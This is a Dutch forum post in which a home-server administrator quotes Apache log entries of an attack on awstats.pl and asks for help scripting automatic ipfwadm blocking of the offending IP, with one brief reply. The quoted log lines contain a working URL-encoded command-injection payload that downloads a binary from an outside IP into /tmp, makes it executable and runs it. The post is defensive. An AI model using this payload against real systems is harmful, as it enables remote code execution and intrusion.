PHP script kiddies bestrijden
Ik draai een Freesco - router-(web)server-maildinges-firewall en de laatste paar dagen worden steeds pogingen gedaan om oa via awstat.pl binnen te dringen.
Apache laat dit zien:
81-223-8-226.kremstaler.xdsl-line.inode.at - - [25/Dec/2005:18:17:25 +0000] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216
%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e2
12%2e115;echo%20YYY;echo| HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
81-223-8-226.kremstaler.xdsl-line.inode.at - - [25/Dec/2005:18:17:39 +0000] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20216%2e15%2e
209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115
;echo%20YYY;echo| HTTP/1.1" 500 609 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Ik vermoed dat 81-223-8-226 gehackt is en dat 216.102.212.215 de boosdoener is. Voor de zekerheid heb ik awstats maar gedeinstalleerd. Vandaar de 404 en 500 antwoorden van Apache.
Maar nu. Ik wil graag dat Apache aan een script doorgeeft dat 81.223.8.226 geblokt wordt. Dat kan door de alle regels van access_log (dus ook die waar bijv awstats in voorkomt) te pipen naar een script dat met
ipfwadm -I -i reject -S eth0 -W 81.223.8.226
ipfwadm -I -i reject -D eth0 -W 81.223.8.226
de binnendringer blokt.
Als er gerommeld wordt gaat het altijd om een beperkt aantal bestanden waar ze wat mee willen.
index.php, index2.php,test.php,awstats.pl,xmlrpc.php,iptotal.cgi en nog een paar.
Dus in httpd.conf
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined | blokscript
En in dat blokscript controleren of één van de genoemde bestanden in de regel voorkomt, dan het ip-nr eruit halen en blokkeren maar.
Kan iemand me helpen zo'n blokscript te schrijven (linux shellscript)
Je weet welk IP je wilt blokken. Dan doe je dat toch simpel in je firewall.